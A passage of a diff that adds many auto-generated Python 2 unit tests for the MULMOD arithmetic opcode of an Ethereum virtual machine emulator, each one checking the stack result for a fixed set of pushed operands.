+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_548(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(32)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_549(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_550(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MULMOD_551(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(48)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_552(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(48)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16])
+
+    def test_MULMOD_553(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_554(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MULMOD_555(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(48)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_556(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(48)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_557(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(48)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_558(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_559(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_560(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_561(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_562(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_563(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_564(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_565(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_566(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_567(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_568(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [33L])
+
+    def test_MULMOD_569(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_570(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_MULMOD_571(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_572(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [33L])
+
+    def test_MULMOD_573(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_574(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_575(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_576(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_577(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_578(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(0)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_579(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(0)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
